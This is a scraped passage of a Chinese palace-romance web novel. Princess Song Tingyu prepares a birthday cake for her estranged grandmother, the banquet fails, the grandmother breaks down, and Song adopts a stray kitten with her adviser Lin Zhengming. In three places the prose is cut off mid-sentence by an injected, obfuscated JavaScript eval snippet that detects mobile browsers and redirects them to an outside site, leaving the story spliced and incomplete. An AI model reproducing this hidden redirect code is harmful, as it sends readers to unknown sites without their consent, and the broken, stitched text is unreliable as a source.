每到这个日子,宋庭玉就生出一阵茫然,她不知道要怎么做才能稍稍令敬慈夫人快活一些。小的时候,每每到了立夏,她练起宫来就格外用力,因为教养她的嬷嬷告诉她:老夫人不过寿诞,殿下能好好读书、好好习武,就是老夫人最开心的事了。可是渐渐她发现,即使自己用尽所有力气,也无法让敬慈夫人的脸上露出哪怕一个浅浅的笑容。渐渐地,她也不提这件事了。 只是今夏不同,一来宋庭玉有了封号,对于她们祖孙二人来说,这是不同于以往的一年,不管她们有什么样的谋算,如今也算是开了个好头。二来,因为先前拒婚的事,宋庭玉与敬慈夫人闹了不愉快,之后又得知威远将军宁思沅无法回京的噩耗,敬慈夫人大病一场,身子骨越发不如从前。宋庭玉想着,即使不大办,至少一家人坐在一起吃顿饭,让老夫人也能快慰些。 为此,她特意找了老夫人家乡的厨子,打算亲手为她做一份她年轻时最爱吃的玉容糕。只是她高估了自己的动手能力,还没开始几步,就已经铩羽而归数次。 她懒懒地靠在椅子里,心里为自己打气:不就是一个小小的玉容糕,哪里就能难死她了? 正想着,忽然感觉到一阵凉风从耳边吹来,带着阵阵湿凉凉的水汽。她以为又是从湖面上吹来的风,不慎在意地咕哝一声,没想到这风不同于方才那样转瞬即逝,而是一直保持着稳定有力的力道,一阵阵从自己的耳边吹过,仿佛一道看不见的屏障,将所有的暑气隔绝在外。 宋庭玉惊讶地睁开眼睛,转头一看,就见林徵鸣拿着一把扇子,满脸笑容地看着自己,脚边不知什么时候多了一个冰盆,几块晶莹剔透的冰块正冒着寒气。 “你怎么来了?”宋庭玉直起身子,看着脚下的冰盆笑道:“这又是你从哪里弄来的?前些日子我说房里放些冰盆,陈伯不同意,一个劲儿说日子太早了不可贪凉,你当心让他看见了,又要说你。” 林徵鸣摇着扇子撇了撇嘴:“他才看不见呢,这段日子他在清雅园忙着呢,哪里还顾得上府里的事,日后殿下的饮食起居皆由我来伺候。今日天热,午间用点冰块儿,不要紧的,陈伯就是太紧张你了。” 宋庭玉笑着拿过他手里的扇子,自己扇着,感觉着带着凉意的风一点点驱散心头的烦躁,笑问:“清雅园里的事情都做完了?你怎么自己回来了?怎么不同他们作作诗、读读书?” 林徵鸣心道:你可饶了我吧,我日后再也不想看见“诗”这个字了。面上乖巧道:“还是伺候殿下更重要些。” “可有特别出色的学子?那日我走的匆忙,没能听他们说说话,你觉得如何?” 林徵鸣暗自摇头:你可幸亏没和他们说话,现在只是惊鸿一瞥,就让多少人念念不忘呢。他想起那天那个姓蒋的书生,不快道:“哪有什么出色的,会试都没考呢,考出功名再说吧!” 宋庭玉听着他酸溜溜的话,心里好笑,看着他一阵儿,突然正色道:“你想不想在元夏参加科举?以你的能力,就差有人举荐获得资格,你若想考,本宫可以帮你。” 林徵鸣扇子掉到了地上,实在不懂他都摊得这么明显了,怎么她还想让自己入朝!转念又想,昭平公主对自己的幕僚如此尽心尽力,自己志不在此,可若真有人一心想往上爬,她是不是也要如此费心费力地托举?他完全忽略了宋庭玉为幕僚铺路最终也是为了培养自己的朝中的势力,换句话说,所有的投入都会需要百倍千倍的回报,似乎只有在他身上,宋庭玉从没要求过什么。 此时,他的心已然嫉妒得要死,为一个根本不存在的人。 他捡起扇子,将下巴放在宋庭玉的椅子边上,一双眼睛充满祈求地看着她,软声道:“我不想科举入朝,我那时就说了,只想一直在殿下身边。” 宋庭玉摇扇子的手顿了顿,无比清晰的认识到他是在跟自己撒娇。 其实林徵鸣的外形看起来并不是一个能让人想象到他撒娇是什么样子的人。身形高大、手长腿长、肩膀宽阔,与一般印象里肩不能扛手不能提的读书人还是很有差别的,脸庞棱角分明、轮廓清晰,看起来有一些非中原人的血统。不做表情时眉眼严肃,看起来很有几分迫人的气势。 所以,每一次他窝在宋庭玉身边,努力把自己缩成一个团,甚至千方百计让自己处在宋庭玉影子之下时,她总是心头酸软,和他说话的声音也不自觉温柔下来。明明是一个高大的成年男人,这样低着头故意放软声音和自己说话时,仿佛浑身毛茸茸的,宋庭玉似乎看到他的身后有一只大大的尾巴,随着他的动作左摇右晃的,很是灵活。 她知道,林徵鸣与别人说话时并不是这个样子,很少有表情也就罢了,似乎连语调都是平直的,仿佛没有什么能够激起他多余的情绪。 于是,在林徵鸣判若两人的态度里,她再一次感受到他对自己的不同,也第一次意识到自己对他的纵容。 很新奇的感觉,但是并不坏。 “好吧,既然你三番五次这样说了,本宫也就不逼你了。你想做些什么就去做吧,有什么需要的尽管和陈伯提。” 她站起身,准备去做自己失败了百十次的玉容糕。 “殿下去哪儿?”林徵鸣跟在她身后,像只离不开主人的小狗儿似的,寸步不离开。 “你没有其他事情可以做了吗?”不知怎的,宋庭玉并不想让他看见自己手忙脚乱的样子。 “我帮殿下啊,殿下去哪儿我就去哪儿!”林徵鸣伸长脖子,往厨房里看了一眼:“殿下是在做什么东西吗?” 宋庭玉望天,长叹一口气,自暴自弃道:“算了,你进来吧。” 林徵鸣颠颠儿地进了厨房,果不其然在桌子上看到了一排排摆放整齐的、姑且可以称之为“糕点”的东西,或奇形怪状,或颜色令人不忍直视,一排排失败品摆在一起蔚为壮观,也不知道放在这里是展示给谁看。 宋庭玉也突然意识到:对啊,她明明可以把它们直接扔掉,摆在这里做什么呢! 做饭嬷嬷不在,不知道是不是试图以自己的消失打消宋庭玉做糕点的念头,总之师傅都不在,她更束手无策了。 她心情不佳地靠在灶台边,看着林徵鸣像在研究什么古物似的,将桌上的废料左看看、右看看,突然抬头问:“殿下是要做玉容糕?” 宋庭玉直起身子:“你怎么知道?” 林徵鸣笑得眉眼弯弯,像是很高兴自己猜对了似的,指着桌上的材料道:“我儿时同家里人到苏州游玩过,那是吃过玉容糕,很是新奇了一阵儿,后来回了家对那个味道念念不忘,所以特意找了菜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362249|183739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谱来学,果真做出来了。你若是要做这个,可以让我试试。” 宋庭玉摇摇头,啧啧感叹:“本宫以为,本宫是给自己找了个出谋划策的幕僚,没想到找来的是个医师兼厨子,哦,还有花匠,总之除了给正事出主意,你是什么都会做啊!” 林徵鸣神情尴尬,望天看了看。不知道在说谁,反正不是在说我。 “好吧,你来教教本宫,府里的嬷嬷实在是没耐性极了,本宫也不想劳烦她。” 说着,她洗净了手,站在林徵鸣旁边。 他凑近了,指点着她火候几何、何时加料,牛奶要加多少,宋庭玉发现他与嬷嬷不同的是,嬷嬷不会告诉她具体的量该是多少,只说“差不多就可以”,只是这厨房里的“差不多”究竟是多少呢?她不知道。 而林徵鸣似乎很清楚一个新手对数量没有概念,他拿出一个小勺,以勺为器,告诉她应该放几勺,一下子清晰明了起来。 她一只手搅拌着碗里的糊糊,一边笑道:“没想到你还挺会教人的,这是这一上午我做的最成功的一次。” “专心,接下来是放入糖粉,你若是给敬慈夫人做,可以放少一些,老人家年龄大了,口味清淡一些更好。” 宋庭玉稀奇看他:“你如何知道这玉容糕是做给外祖母的?” 林徵鸣想,当然是因为这些日子,府里仿佛迎接什么大节庆似的,各个如临大敌,紧张得要命,不仅准备了各色寿礼,还从南方特意请了戏班子来。若不是敬慈夫人不喜热闹,这寿宴恐怕已经办得人尽皆知。 他知道宋庭玉对这位外祖母的感情不一般,只是隐隐担心,凭借他之前听说的传闻,这场寿宴恐怕不会如她所愿。 只是当下,林徵鸣看她兴致勃勃的样子,并没有提起这些扫兴的话,只笑道:“我在忍冬姑娘那里打听来的,府里的大事,我岂能不参与进来?” 宋庭玉也笑:“你在我这公主府里,已经很引人注目了,你看看如今这公主府,哪里没有你的痕迹?光是种植的花啊、草啊的,也不知道换了几遍,陈伯都要被你折腾烦了。” 林徵鸣脸上露出一个不好意思的笑来:“是我的不是,陈伯人好,愿意纵着我折腾。” “没事儿,在自己家里,有什么不好意思的。”宋庭玉一手搅拌着手里的糊糊,一边不经意道,仿佛只是随口一说,却在林徵鸣心里掀起了轩然大波。 他愣愣地看着宋庭玉,晚春的阳光透过窗棂,勾勒出她精致的眉眼,睫毛卷翘,仿佛可以容纳一个个暖黄透明的精怪在上面跳舞,带着可以照亮一切黑暗的力量,跃动进他的心里。 “这样就可以了吗?”宋庭玉问,半晌没有等到回复,抬起头,疑惑地看见林徵鸣怔怔地看着自己,不知道在想什么,表情凝重。 “怎么了?”她伸手在他眼前挥了挥,“我脸上有什么东西?还是你忘记了什么?”她突然变得神情紧张:“不会吧,我可不想再重来一次了。” “啊?没有。”林徵鸣回过神,看着她懊恼的表情,笑了笑道:“不会再让你重来的,这一次管保成功。”他掀开已经热好水的锅盖,对她道:“现在把它们倒进小模子里,几等上一炷香的功夫,就可大功告成了。” 宋庭玉一听,急忙端着碗起身凑过来。 “小心!” 她忘记了锅里是滚烫的热水,冒着呼呼的热气,几乎可以把人的皮烫破,被这样的热气一熏,她控住不住地松了手。 “啊!” 林徵鸣眼疾手快,立刻接住了倾倒的木碗,放到一边,飞快地拉着她冲到院子里的水井边,舀起满满一瓢冲到她的手背上。 “怎么样?” 冰凉的井水形成一股涓涓细流,持续不断地倒在手背被热气烫到的地方,热意来不及发挥,就已经被驱散。 宋庭玉懊恼地用另一只手捂住脸,半晌笑出声:“哎呀,我真是,气死我自己了!” 她第一次被自己的笨手笨脚气到,又自觉在林徵鸣面前丢了脸,捂着脸不肯松手。 林徵鸣心头一软,拉着她的手,仔仔细细用井水洗了又洗,摇摇头柔声道:“没什么的,我也经常被烫到,你没受伤就好。” 宋庭玉低着头,明明有冷到刺骨的水流不断冲洗着手背,她却只能感觉到林徵鸣与自己的手腕相贴的温度,脑海里出现的,是他方才一脸焦急地样子。 她捂着脸,借此挡住自己热度骤然升高的脸颊和耳朵。 不能再被他看见了,她想。 17. 寿宴 转眼就是立夏,一个多月的准备,到了今日总算是处处齐备了。因着敬慈夫人喜好清静,宋庭玉生怕这月余的筹备打扰了老人家的安眠,故而经过商议,决定寿宴就摆在公主府。 立夏当日,府里各处修缮一新,纱帐舞蟠龙,玉帘飞彩凤,金银闪耀,珠宝生辉。宋庭玉不喜闻香,可今日破例在园中设了香鼎,燃了老夫人喜爱的沉水香,处处香雾缭绕;屋里摆放着保养一新的紫玉瓶,瓶内各色花朵争奇斗艳,一派欣欣向荣的姿态。 因着老夫人近二十年不在王都走动,年轻时的手帕交也走的走、散的散,宋庭玉不愿徒惹她伤心,故而特意将请帖提前给了她过目,老夫人虽则在王都沉寂多年,可到底也是有一些故友亲朋常常往来,于是挑了八位关系亲密的夫人送去帖子,不说寿宴,只说平常的宴饮,大家亲亲热热坐在一处,说说话、吃吃酒就好。 即便宋庭玉有心大办一场为她祝寿,可毕竟是老夫人的宴席,总要依着她的意思来,故而没有再多言。 帖子提前半月送去了安国公府、宁远将军府,还有其他几个已经致仕的官员府上,夫人们收到帖子十分惊讶,只因这些年敬慈夫人身子不好,为人孤僻,性情也变得十分古怪,同她们也只是年节时分有节礼往来,任何宴会均婉言拒绝。此刻竟然自己办起宴席来了! 安国公夫人是个细心人,仔细算了算日子,惊呼一声:原来是寿宴!只是主人家未言明,显然是存了低调的心思,她们几个也不多话,带了厚礼前往赴宴。 宋庭玉将人迎进府里,自己掩着袖子,轻咳了几声,笑道:“几位夫人见怪。外祖母还未到,夫人们先喝喝茶吧。” 几位夫人俱是在玉昭宴上与宋庭玉见过的,这段时间也有了往来,不像当初那样无话可说。 安国公夫人关心道:“殿下这是怎么了?可是身子不适?” 宋庭玉摆摆手:“不打紧的。” 宁远将军拍了她一下,嗔怪道:“殿下这些日子是累着了。我听说陛下身体有恙,这些日子一直是公主殿下进宫侍疾呢!”她叹了口气道:“殿下也不必过于忧虑,陛下龙体一向康健,又有殿下的拳拳孝心,定能感动上天,早日康复的。” 宋庭玉笑着点点头。景元帝这些日子的身体确实是每况愈下,又不愿见太子,宋庭玉自然不会放过这个机会,在景元帝面前刷足了存在感。她进宫侍疾,自然不需时时侍奉左右,不过是同景元帝说说闲话。宋庭玉博览群书,对道家典籍亦是颇有研究,与他论起道来,竟也见解不俗,令景元帝频频展露笑颜,赞叹“玉儿肖父”。 对此,宋庭玉只是提起嘴角做个表情,并不多言。在她的努力下,景元帝越发倚重她,先是带着她进御书房听政,与六部官员议事时偶尔也问问她的意见,发现她进步神速之后,连简单的奏折也让她代批。一时之间,宋庭玉风头无两。 她淡淡笑道:“父皇乃天子,自有上天庇佑,我等做儿女臣子的只要做好自身的事,其他的无需担心。” “殿下说的是。”安国公夫人笑着点点头。 宋庭玉抬眼看了看日头,招呼忍冬上前:“去看看外祖母动身了吗?” 安国公夫人忙道:“不必着急,老夫人慢慢来就是,我们慢慢等着就好。” 宋庭玉点点头,招呼几人喝茶,自己虽然也端起了茶杯,可是心头惴惴,总觉得不安。 午时开宴,如今已过了三刻,几位夫人的茶喝了一杯又一杯,依旧不见老夫人到来。宁远将军夫人已经有些坐不住,不时在椅子上动来动去。干坐了三刻,该说的话已经说尽,偶尔对上宋庭玉的眼睛,她就不动声色地移开视线,可总有遗漏的时候,若突然对上,只好提起嘴角微微一笑,再点点头,仿佛不认识的人打招呼似的,十足尴尬。 宋庭玉实在坐不住了,起身行至房外,叫来陈伯,低声问:“怎么老夫人未至,忍冬也不见回来?” 陈伯苦着一张脸,急得变了脸色,摇摇头道:“不清楚啊,按理说老夫人不会不来的,难道是出了什么事?” 宋庭玉皱眉,来回踱了几步,叫来影卫:“影一,去老夫人府上看看,究竟是怎么回事?” “不用去了!” 林徵鸣步履匆匆的跑进来,气都没喘匀,赶紧道:“老夫人来不了了,她身边的姑姑说她病了,不能起身。我和忍冬姑娘一起去的府上,如今她在里面伺候着,好不容易找了机会出来,让我给殿下带个口信。” “病了?这么突然?可有大碍?” 林徵鸣脸色不太好看,支支吾吾道:“应该是没有大碍的,忍冬姑娘来传话的时候,老夫人身边的嬷嬷是一起来的,她没有多说,但是我看她们脸上也没有十分着急的神色,想来应该不是什么大事。” 宋庭玉面色微变,半晌,冷冷一笑:“我知道了,你们先去吧。” “殿下。”林徵鸣见她脸色不好,担忧地看着她。 “没事,我去同夫人们说一声,正常开宴吧。”宋庭玉很快面色如常,可林徵鸣知道,她心里很不好受。 无论是谁,在这样的情况下被自己最亲近的人如此对待,一定不会有好脸色,只是宋庭玉不得不打起精神,面对已经在房中等待已久的八位夫人。庆幸的是,她的请帖上并没有说是给敬慈夫人的寿宴,所以即使是主角不来,她也有含糊过去的余地。 “几位夫人,实在是对不住。”宋庭玉面带笑容走了进来:“外祖母方才派人传了消息来,她前些日子染了风寒,如今身子实在不爽利,起不来床,即便是来了也无法陪诸位夫人,主宾若不能尽欢,那就是本宫的不是了。是以外祖母让我给诸位夫人赔个礼,请多包涵,改日一定登门致歉。” 安国公夫人忙起身道:“老夫人病了?可请了太医?” 宋庭玉亲自上前扶着她坐下,淡笑道:“劳夫人挂心了,外祖母这是老毛病了,已然看过太医,只需静养几日便可。外祖母特意嘱咐了我要好好招待几位夫人,以表歉意。夫人们,咱们移步至前厅吧,已然开席了。” 安国公夫人本来面露犹豫,如今听宋庭玉这么一说,也放下心来,率先起身跟着她走。其他几位夫人不管心里有什么嘀咕,宋庭玉毕竟是皇室公主,如今摆出这样一副赔礼的姿态,她们也不好说什么,跟着热热闹闹入了席。 昭平公主府上的人做事一向是无可挑剔的,即便寿宴中途变了味儿,也不影响宴席的质量。无论是菜品、酒水,还是席后咿咿呀呀的戏曲,无一不精致,既有皇家宴会的富贵大气,又不失雅致诗意,尤其是最后的一出猴戏,看得几位夫人连连赞叹。 宋庭玉虽有心事万千,此时也不得不打起精神来,陪着几位夫人用了饭、赏了酒、听了戏,又送上临时吩咐陈伯准备的礼物,才高高兴兴将人送出了府。 宴席一结束,公主府里立刻恢复了往日的安静,戏班子吹拉弹唱的声音仿佛从来没有出现过,公主府再一次陷入比以往更为令人窒息的沉寂之中。 “备车,去老夫人府上一趟。” 陈伯忧心忡忡地看着面色不愉的宋庭玉,生怕她和老夫人闹出什么矛盾来,却不敢多劝,只好叮嘱一同前去的菘蓝,多看顾着些。 宋庭玉上了车,突然想起什么似的,叹了口气,回身吩咐:“把厨房里的玉容糕装一份来。” 陈伯称是,正要去装,就见林徵鸣拎着一个食盒,急匆匆赶来。 “殿下,在这里。” 他将食盒递给陈伯,陈伯赞赏地看了他一眼。林徵鸣却没空关注陈伯的眼神,面带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不用你管,你做你的好公主,老身无儿无女的,还有什么可怕的?我要同他拼命,同他拼命!” “外祖母,孙儿并不是忘本,只是母亲一事必有蹊跷,还需从长计议啊,孙儿一定会查出真相的,好不好?您先坐下!”宋庭玉上前揽住她的胳膊,试图让她冷静下来。 “你滚开!你是宋家的公主,不是我宁家的女儿!” 敬慈夫人已经失了神智,神情癫狂地看着宋庭玉,眼里带着令人心惊的恨意。那一瞬间,仿佛宋庭玉不再是她教养十七年长大的孙女、她为数不多的亲人,而是杀死她女儿帮凶。 宋庭玉被她带着血淋淋恨意的眼神惊了一跳,失神片刻的功夫,敬慈夫人已经上前,将她带来的东西高高举起,又狠狠摔在地上。 “哗啦!” 梨花木质的食盒滚落在地,盖子掉落了,里面有着仙人献桃刻纹的玉盘碎了一地,雪白可爱的玉容糕落在地上,又被敬慈夫人凌乱不堪的脚步踏成碎屑。 一地狼藉。 宋庭玉愣愣看着地上与泥灰混在一起的玉容糕,心里仿佛突然有什么东西和它一样,被敬慈夫人摔得粉碎,风一吹,那些微末的、不堪的、卑微的、祈求的碎屑,想从来没有出现过那样,消失在风里。 徒留给她一颗空落落的心。 门被撞开了,有很多人闯了进来,哭喊着、尖叫着,将敬慈夫人扶到床上。她听到了一声凄厉的尖叫,接着仿佛有人晕了过去。是敬慈夫人吗?她不知道。这段记忆变得混乱极了,在人来人往的混乱中,她仿佛一个局外人,冷冷看着眼前的一切,周围的所有人都是模糊的,只有她,清晰地站在原地。 只有她。 18. 心事 宋庭玉不知道自己是怎么出现在偏房的,同样她也不知道,自己额头上何时出现了一道口子,寸许长,淋漓地渗着血珠。 忍冬心疼地给她上药,生怕以后留了疤。 宋庭玉疲惫地挥开菘蓝递给自己的水,问站在一边偷偷抹眼泪的嬷嬷珠华:“到底是怎么回事?外祖母这是怎么了?” 珠华是跟在敬慈夫人身边的老人了,好不容易伺候老夫人平静睡去,她忙不迭地赶到偏房,生怕这祖孙之间起了嫌隙。 恐怕已经有嫌隙了,只是之前无论是敬慈夫人还是宋庭玉,都在极力掩盖。如今,在敬慈夫人神志不清的情况下,就像她曾经一枪从马上挑下敌人那样,她也这样轻而易举地挑破了她和宋庭玉之间虚假的和睦与亲近。 “殿下,老夫人她……她这样有些日子了。太医也来看过,只说老夫人是心绪不佳,长年累月地郁结于胸无法排解,所以才会像今天这样失了神志。” “之前可有过?” 珠华擦了擦眼泪,哽咽道:“有过一次,那时老夫人刚刚得知大将军今年无法回王都,气得病了一场,醒来就发了病。是太医开了药,才稍稍压下些许。” 宋庭玉思索着敬慈夫人方才的样子,沉吟道:“所以,只有受到刺激的时候,外祖母才会发病,是吗?” 珠华点点头,不敢看她。 宋庭玉却听懂了她的未尽之言,苦笑一声,心底一片萧瑟:祖孙二十载,到头来,她竟成了惹外祖母发病的那个心结。 “既然之前有过犯病,为何不报?嬷嬷是觉得本宫不该管外祖母的事吗?” 珠华一惊,忙起身告罪:“殿下恕罪,非是奴婢等知情不报,而是老夫人有命在先,不敢不从。” 宋庭玉其实知道手底下的人无法左右敬慈夫人的意思,撑着额头,闭上眼睛,缓了缓自情绪,哑声道:“你去吧,照顾好外祖母,其他事情带她醒来之后再说。” 珠华答应着起身,犹豫道:“时辰已晚,殿下今日留在府里吗?” 宋庭玉自嘲一笑:“外祖母不愿见我,本宫还留在这里做什么?罢了,本宫回去了,若外祖母有什么事,及时派人来报。忍冬,走吧!” 她站起身,本想着赶紧离开这个伤心之地,不料眼前突然一黑,脚下一软,她赶紧撑着桌子,才没让自己倒下。 “殿下!”忍冬忙在一边搀扶着她,宋庭玉轻轻推开忍冬的手,待那阵眩晕过去之后,直起身子,头也不回地离开了。 一路上,宋庭玉怔怔望着马车顶上繁复的花纹,也不说话,不知道在想什么。丛方才开始,她就一直处于这样茫然的状态,虽然没有说话,但也不知道自己在想什么。 就这样浑浑噩噩地进了公主府,她挥退一脸担忧的忍冬,自己进了后园。 这一天已经过去,此时夜幕降临,天幕相一匹上好的锦缎,中空处缀着一轮月亮。公主府还是她离开时那样安静,往日她从不觉得这样的安静有什么不对,然而此刻却痛恨起起这样的安静来,仿佛来自这座府邸、和府邸里所有人的沉默在一遍遍提醒她,敬慈夫人已经不再需要她、不再信任她的事实,一遍遍让她在沉默不语中反刍自己又一次被抛弃的痛苦。 她走到自己房门口,正欲推门进去,突然听到园子后面传来叮叮咣咣的声音,像是在钉木头,在寂静的公主府里显得格外突出。 她脚步一顿,突然想起林徵鸣已经搬到了外面的院子,离她居住的地方不过一墙之隔。 宋庭玉眼皮一跳,轻手轻脚地穿过园子,跨过月亮门,从后面悄悄进去。 “嘘,你安静一点,不要在夜里乱叫,不然有人把你赶出去,我可救不了你。” 林徵鸣低声咕哝,蹲在地上,手里摆弄着一个四四方方的木盒子,但比一般的木盒子大了许多,还有一个斜斜的顶子,他一手拿着榔头,一手扶着盒子,“哐哐哐”钉了几下,满意地看着手里的成品。 “你在做什么?” 宋庭玉眼睁睁看着自己一出声,林徵鸣被结结实实吓了一跳,一屁股坐在了地上。 “鬼鬼祟祟的,像什么样子!”宋庭玉轻斥,快步上前,倒要看看他在捣什么鬼。 林徵鸣尴尬地起身,将手里的盒子放在一边,很刻意地转了个身,似乎要挡住身后的什么东西,结结巴巴道:“没什么,没做什么。这么晚了,殿下还没歇着吗?” 宋庭玉狐疑地看他一眼,往他身后瞥了瞥,林徵鸣看似不经意实则十分刻意地撩了撩自己的衣袍:“我随便玩玩,没什么的。” 宋庭玉心头无端端恼怒起来,他住在自己的公主府,竟然还有瞒着自己的事,是不是日后也可以这样随随便便离开? 她冷了语气,一字一顿道:“让开!” 林徵鸣无措地看着她,不知道她怎么发这么大火,只是她现在在气头上,他更不敢让她看见身后的东西了,犹犹豫豫道:“我若是让开了,殿下可不能生气。” 宋庭玉冷冷一笑,就要伸手一把推开他,突然,林徵鸣的身后传来一个细细弱弱的声音: “喵。” 宋庭玉手下动作一顿。 林徵鸣知道自己已经瞒不住了,于是慢吞吞挪开了步子,果不其然,从侧面的袍脚边上弹出一个毛茸茸的小脑袋,虎头虎脑,傻乎乎地。似乎感觉到“天”一下子比之前亮了,它疑惑地抬起头,宋庭玉这下看清了它的脸。 是一只不知从何处跑来的小狸奴,眼睛圆滚滚地,还隐隐泛着蓝色。小小年纪一身花纹却威风凛凛,像是丛林里的小老虎。 见两人齐刷刷看着它,它长大了嘴,“喵嗷”一声,然后大大方方从林徵鸣的衣袍后面走出来,昂首挺胸地巡视一圈,鼻尖一动,鬼鬼祟祟趴到了宋庭玉的脚边,爪子一伸一伸,打她鞋子上的流苏玩。 林徵鸣低声道:“不知是从哪里跑进来的小狸奴,小小年纪只它一个,附近也没有发现母猫,估计是走散了吧。我看着府里没有猫狗,想着殿下可能不喜这些,便没有声张。” 宋庭玉低头,看着它好奇地扒拉自己鞋上的东珠,一会儿又被自己衣裙上的穗子吸引了目光,跳起来要去够,够不着了就两个爪子扒着衣裙,锋利的指尖把上好的裙子勾出了丝,爪子动不了了,急得喵喵叫。 林徵鸣无奈,忐忑地看了她一眼,俯下身轻轻解开它的爪子,赔礼道:“狸奴不懂事,弄坏了殿下的裙子。” 宋庭玉摇摇头,伸出手,从他怀里接过小狸奴。那小猫儿似乎嗅到了自己喜欢的味道,方才还在林徵鸣手里挣扎个不停,这会儿却安静了下来,喵喵咪咪地叫,像是在撒娇。 宋庭玉脸上不自觉露出一个笑来,余光看见林徵鸣似乎松了口气的样子,瞪了他一眼道:“你以为本宫会将这小家伙儿怎么样?” 林徵鸣神情尴尬:“没有,只是担心它扰了殿下的清静。” “清静?”宋庭玉自嘲喃喃:“喜欢清静的从来不是本宫。” 她四下看了看,走到一边的竹椅上坐下,抚摸着小猫的脑袋,没有抬头:“可有羊乳?” 林徵鸣微微皱眉,犹豫问:“它还要喝羊乳?” 宋庭玉瞪了他一眼:“你什么都不知道,如何能养得好它?这样小的狸奴,还吃不了东西,要喂它羊乳,才能健健康康长大。” 林徵鸣从小厨房里翻找出一罐羊乳,找了一个小碗,倒了半碗放在地上。小狸奴笔尖一动,似乎闻到了味道,轻盈地从宋庭玉怀里跳下去,趴在碗边飞快地舔起来。 林徵鸣蹲在一边的地上,看它吃得急,像是已经饿了很久,脸上露出一个心虚的笑:“还是殿下有办法。” 宋庭玉看着小狸奴努力吃奶的小身影,目光悠远,不知想起了什么。 或许是林徵鸣这里的氛围太安宁,或许是与敬慈夫人的矛盾叠加到今天,像一片表面平静无波、实则内里已经翻涌不定的大海,已经到了要喷薄而出、吞噬一切的时间了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是吗?”宋庭玉怔怔看着她,从没有人跟她说过这样的话。所有人都在告诉她,在她失去母亲、又被父亲厌弃之后,是敬慈夫人给了她一条出路,拖着年迈的身体抚养她长大,实在不易,她要孝顺、要心怀感恩,要报答外祖母的养育之情。一直以来,宋庭玉也是这样做的,敬慈夫人想要什么,她就去做;想得到什么,她就努力实现。长久以来她已经完全失去了自己的生命,她活着只有一件事,那就是查清母亲死亡的真相,为宁家复仇。快乐与否不重要,那对她而言太过奢侈了。 可是今天却有人跟她说:你可以更快乐、更幸福的。 是吗? 她想,我还可以拥有快乐和幸福吗? 她想起记忆里的那场大火,想起至今仍无法回乡的舅舅,想起被仇恨和失望折磨得失了神志的外祖母,摇了摇头,低声道:“不一样的,无论如何,我有自己要去完成的事情。” 林徵鸣知道一个人长久以来将一切错误归咎于自己的思维不是一时半刻可以改变的,他轻轻摸了摸已经呼呼大睡的小猫头,轻声道:“殿下自是心怀雄图伟业,只是来日方长,还望殿下保重自身。”他顿了顿,换了一种更加亲近的语气道:“你已经做得很好了。” 宋庭玉鼻头蓦然一酸。 她低着头,竭力呼吸,不让那种酸意进一步转化为眼泪。半晌,才抬起头,看着林徵鸣,轻轻呢喃:“放肆。” 林徵鸣看着她微微泛红的眼圈,却像是什么都没有看到一样,轻笑出声。 宋庭玉看着他毫不设防的笑容,感受着怀里小狸奴传递过来的一阵一阵的温暖,也露出一个笑。 夜深人静,林徵鸣将她送到了月亮门边上,很有分寸地没有再往前走。宋庭玉怀里抱着猫,突然顿住脚步,回身看他,轻声道:“府里戒备森严,处处皆有影卫暗中查看,其实别说是一只猫,就连一只鸟儿也难以神不知鬼不觉飞进来。” 林徵鸣一愣,手心微微渗出汗意。 宋庭玉将手里的小猫举起,灿然一笑:“是我的了。” 19. 赐婚 “嘿!这一把是我大意了,再来再来!” 闹哄哄的大厅里,十几个人凑在一起,围着一张桌子大喊大叫。 这是绿歌坊顶楼的一处厅堂,楼梯口有守卫严格把守,想要上楼只能由老客带上来,且要缴纳一笔不菲的酒水钱。因此能到绿歌坊顶层一掷千金的,无一不是家底丰厚的世家公子。 曹文益挤在赌桌边上,眼睛通红、目眦尽裂,死死瞪着牌桌中心的骰子。 “开开开!赶紧的!” 几人催促不止,侍者微微一笑,像是故意营造紧张气氛似的,等围观的人已经按捺不住,几乎要破口大骂时,才不紧不慢地移开了手。 围观众人伸长了脖子凑上去看,已经迷迷茫茫地眼神儿竭力数清楚上面的点数。突然,人群里爆发出一阵欢呼:“赢了赢了,拿钱来!” 输的人骂骂咧咧、垂头丧气,没过一会儿又不依不饶道:“再来再来,我就不信了!” 曹文益就是其中输得最为惨烈的,他已经在赌桌前玩了一晚上,输得精光不说,还欠了绿歌坊不少银子,只是此时他已经赌意上头,哪里还顾得上那许多,不管不顾地加注,还要再来。 “公子,公子!” 有人扯了扯他的衣袖,“曹公子!” 曹文益不耐烦地一推:“滚一边儿去,没见本公子正玩得开心!耽搁了本公子的大运,你赔得起嘛!” “曹公子,还玩不玩了啊!别是玩了一晚上,输不起了吧!哈哈哈哈!” 赌桌上爆发出一阵哄笑,曹文益涨红了脸,一把甩开小厮的手:“滚远点儿!谁说不玩了,老子钱多着呢!给我加,再加!” 庄家笑了笑,摇头不语。小厮一脸无奈,只得推出了房门。只是一出门,脸上唯唯诺诺的神情就一变,冲着大门啐了一口:“我呸!欠一屁股债了,装什么阔呢!” 说着进了走廊最深处的一间房,敲了三下门,待里面传出声音,才恭恭敬敬推开门进去,弓着身子,低声道:“回掌柜的,那曹公子兴头正酣,叫都叫不出来呢。” 